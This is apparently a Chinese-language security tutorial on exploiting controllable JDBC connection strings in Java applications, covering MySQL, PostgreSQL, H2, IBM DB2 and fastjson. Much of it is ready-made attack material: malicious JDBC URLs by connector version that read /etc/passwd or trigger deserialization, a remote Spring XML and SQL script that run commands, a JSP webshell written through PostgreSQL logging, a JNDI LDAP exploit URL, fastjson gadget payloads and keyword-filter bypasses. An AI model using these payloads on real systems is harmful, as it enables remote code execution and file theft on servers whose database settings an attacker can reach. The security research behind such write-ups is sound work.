前言

个人感觉白盒漏洞分为三种
一种就是业务层漏洞,比如文件上传,sql注入,逻辑漏洞,或者git管理系统可能存在命令执行,论坛评论区的xss,这些漏洞与语言无关,是在该业务使用场景下不可避免的存在的问题
一种就是组件层漏洞,比如fastjson,log4j,shiro反序列化等,组件想要通用设计比较复杂,并且不像业务层有很多输出需求,审计的化乱而杂
一种就是语言层漏洞,比如php的phar反序列化,java的jdbc反序列化等,这种漏洞属于语言设计中存在不合理,给了很多没必要默认开启的功能,造成了有语言特色的漏洞

JDBC(Java Database Connectivity)是 Java 语言中访问数据库的标准 API,最简单最直观JDBC利用就是后台让你配置数据库,这时你就可以考虑通过jdbc获取shell。
PHP 常用的数据库驱动是 mysqli、PDO 等扩展,这些驱动在解析连接字符串时 功能非常有限,基本只允许简单参数,不会默认触发危险行为。而JDBC 支持 jdbc:mysql://host/db?param=xxx 这种灵活格式,JDBC 驱动 在解析数据库连接 URL 时支持一些功能参数,攻击者如果能控制 JDBC 连接串,就可能利用这些参数触发危险操作

mysql

当mysql连接类似于url,当连接字符串可控时,在连接时带有特殊的参数部分就会产生漏洞

文件读取

mysql认为客户端不应该连接到不可信的服务端。服务端可以要求客户端读取有可读权限的任何文件。
在mysql 8.0.14版本下无需进行任何参数设置,可以直接读取任意文件,当攻击者连接上该版本的恶意mysql数据库,就会被反向读取文,并且因为是读取客户端本地文件所以不受secure_file_priv的限制,当然前提是运行客户端的用户具有读取该文件的权限

1
2
3
4
5
6
7
8
//allowLoadLocalInfile
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_C:/boot.ini&maxAllowedPacket=655360&allowLoadLocalInfile=true";
Connection con = DriverManager.getConnection(url);
//allowUrlInLocalInfile,这里其实算是一个ssrf
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql://127.0.0.1:3306/test?user=fileread_file:///etc/passwd&maxAllowedPacket=655360&allowUrlInLocalInfile=true";
Connection con = DriverManager.getConnection(url);

恶意mysql服务端 https://github.com/rmb122/rogue_mysql_server

Java环境下的反序列化

测试工具使用的是https://github.com/4ra1n/mysql-fake-server,测试的版本为6.0.2

1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>6.0.2</version>
</dependency>

这俩链子的最终利用点都是

1
2
getObject:1402, ResultSetImpl (com.mysql.cj.jdbc)
resultSetToMap:91, ResultSetUtil (com.mysql.cj.jdbc.util)

resultSetToMap字如其名会将sql执行结果放到结果map里,而取值操作使用到getObject

1
2
3
4
5
public static void resultSetToMap(Map mappedValues, java.sql.ResultSet rs, int key, int value) throws SQLException {
while (rs.next()) {
mappedValues.put(rs.getObject(key), rs.getObject(value));
}
}

getObject取值时如果字段类型为BLOB,并且autoDeserialize为ture,就会自动检测是否为反序列化数据,并尝试反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
case BLOB:
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);

if (this.connection.getPropertySet().getBooleanReadableProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
Object obj = data;

if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
// Serialized object?
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();

所以autoDeserialize 作用是自动检测与反序列化存在BLOB字段中的对象。是必须的

所以现在的目标变为如何让 数据库连接时,自动触发执行查询操作

detectCustomCollations链

detectCustomCollations 是 MySQL Connector/J 的连接参数(Connection Property),作用是:
是否让 JDBC 驱动自动检测 MySQL 服务器上的自定义 Collation(排序规则),并更新驱动内部的字符集/排序规则映射表

1
2
3
4
5
6
7
8
9
10
private void buildCollationMapping() throws SQLException {
..............
if (getPropertySet().getBooleanReadableProperty(PropertyDefinitions.PNAME_detectCustomCollations).getValue()) {
...............
stmt = getMetadataSafeStatement();

try {
results = stmt.executeQuery("SHOW COLLATION");
ResultSetUtil.resultSetToMap(sortedCollationMap, results, 3, 2);
}

当detectCustomCollations为true时,会触发SHOW COLLATION查询

5.1.19-5.1.28:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
5.1.29-5.1.48:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
5.1.49:不可用
6.0.2-6.0.6:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
8.x.x :不可用

ServerStatusDiffInterceptor链

ServerStatusDiffInterceptor是一个拦截器,在JDBC URL中设置属性queryInterceptors(8.0以下为statementInterceptors)为ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法

ServerStatusDiffInterceptor#preProcess方法有执行SHOW SESSION STATUS操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public ResultSetInternalMethods preProcess(String sql, Statement interceptedStatement, JdbcConnection connection) throws SQLException {

populateMapWithSessionStatusValues(connection, this.preExecuteValues);

return null; // we don't actually modify a result set
}
private void populateMapWithSessionStatusValues(JdbcConnection connection, Map<String, String> toPopulate) throws SQLException {
java.sql.Statement stmt = null;
java.sql.ResultSet rs = null;

try {
toPopulate.clear();

stmt = connection.createStatement();
rs = stmt.executeQuery("SHOW SESSION STATUS");
ResultSetUtil.resultSetToMap(toPopulate, rs);
} finally {
if (rs != null) {
rs.close();
}

if (stmt != null) {
stmt.close();
}
}
}
5.1.0-5.1.10:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc 连接后需执行查询
5.1.11-5.x.xx:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
6.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc (包名中添加cj)
8.0.20以下:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

绕过检测

大小写绕过
true改成yes
由于MySQL驱动允许URL编码,这样就可以绕过关键字autoDeserialize=%74%72%75%65
通过#号注释掉强行添加的内容
采用键值模式jdbc:mysql://(host=myhost,port=1111,key1=value1)/db

Postgresql

任意方法调用

PgJDBC 为java关于Postgresql数据库引擎,现只有俩个版本系列,为42.x.x和9.x.x。42系列是最新的系列,现在最新的到42.7

socketFactory参数 用于指定 创建普通 Socket 的工厂类,然后使用它创建所有数据库连接 Socket。默认为java.net.Socket
在 9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2 ,期间 PgJDBC并不强制要求socketFactory继承于javax.net.SocketFactory,导致任意类的构造方法被调用,这就是CVE-2022-21724漏洞的产生原因

org.postgresql.util.ObjectFactory#instantiate为实例化socketFactory类的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static Object instantiate(String classname, Properties info, boolean tryString,
@Nullable String stringarg)
throws ClassNotFoundException, SecurityException, NoSuchMethodException,
IllegalArgumentException, InstantiationException, IllegalAccessException,
InvocationTargetException {
@Nullable Object[] args = {info};
Constructor<?> ctor = null;
Class<?> cls = Class.forName(classname);
try {
ctor = cls.getConstructor(Properties.class);//以Properties为参数构造方法调用
} catch (NoSuchMethodException ignored) {
}
if (tryString && ctor == null) {
try {
ctor = cls.getConstructor(String.class);//尝试单参数构造方法调用
args = new String[]{stringarg};
} catch (NoSuchMethodException ignored) {
}
}
if (ctor == null) {
ctor = cls.getConstructor();//尝试无参数构造方法调用
args = new Object[0];
}
return ctor.newInstance(args);
}
}

反射获取Class,通过 newInstance 实例化对象,同时 args 作为参数
因此只要找到一个构造方法只有一个参数且是String类型这样条件的类即可

jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml

1
2
3
4
5
6
7
8
9
10
11
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>

任意文件写入

42.1.0 <= PostgreSQL <42.3.3
jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=DEBUG&loggerFile=./test.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>

h2

H2数据库是一款以Java编写的轻量级关系型数据库。支持内存(mem:)和文件(file:)两种模式
文件模式,H2 会像 MySQL、PostgreSQL 等传统数据库一样,将数据(表、索引等)持久化到磁盘上的物理文件中
jdbc:h2:file:[路径]/[数据库文件名];,没文件就新建文件
内存模式,数据库完全在内存中运行,默认情况下,当所有到该内存数据库的连接都关闭时,数据库及其数据会立即被销毁
jdbc:h2:mem:[数据库名];,内存没用就新建一个空数据库

利用需要存在jdk环境

可以通过设置 INIT=RUNSCRIPT 让系统加载sql文件,
INIT 这个参数表示在连接h2数据库时,支持执行一条初始化命令。
RUNSCRIPT 通常用于执行一个SQL文件

1
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:7777/poc.sql'";

而在H2数据库中,我们可以使用 CREATE ALIAS 来定义一个 Java 方法,然后通过 CALL 来执行这个方法

poc.sql如下

1
2
3
CREATE ALIAS EXEC AS
$$void shellexec() throws java.io.IOException {Runtime.getRuntime().exec("calc");}$$;
CALL EXEC();

上述数据库需要执行java代码,这个过程会涉及到调用 javac 命令进行编译操作,而这个 API 由 JDK 提供

不出网利用

1
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void shellexec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('calc.exe')\\;";

低版本下利用js执行

在jdk15之后Nashorn JavaScript 引擎被删除,因此下述在jdk15之后无法利用

1
2
3
4
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" +
"$$\n";

存在Groovy 依赖

下述利用需要额外引入了groovy的依赖

1
2
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")" + "})" + "def x";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '"+ groovy +"'";

绕过检测

大小写绕过
添加/绕后关键字
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;I\\NIT=R\\UNSCRIPT FROM 'http://127.0.0.1:50025/poc.sql'
制表符和其他不可见字符代替空格

IBM DB2

1
2
druidDataSource.setUrl("jdbc:db2://127.0.0.1:5001/BLUDB:clientRerouteServerListJNDIName=ldap://10.0.0.67:1389/remoteExploit8;");
druidDataSource.setDriverClassName("com.ibm.db2.jcc.DB2Driver");

利用

从上述总结可以看出JDBC反序列化往往可以rce或者读写文件,除了在配置连接场景下的攻击,还可以通过反序列化触发数据库的连接
jdbc连接第一个触发的方法就是DriverManager#getConnection,而fastjson,common beanutil和pojonode等链子都能够触发getter方法,所以如果在反序列化时候有jdbc包就有可能触发jdbc攻击

fastjson打mysql jdbc

1
2
3
4
5
6
7
8
//Mysql connector 5.1.11-5.1.48
{"name": {"@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "CommonsCollections5", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }}}

//Mysql connector 6.0.2 or 6.0.3
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection","proxy": {"connectionString":{"url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5"}}}

//Mysql connector 8.0.19
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters":[{"host":"127.0.0.1"}], "slaves":[],"properties":{"host":"127.0.0.1","user":"CommonsCollections5","dbname":"dbname","password":"pass","queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"}}}}

其他 https://github.com/luelueking/Deserial_Sink_With_JDBC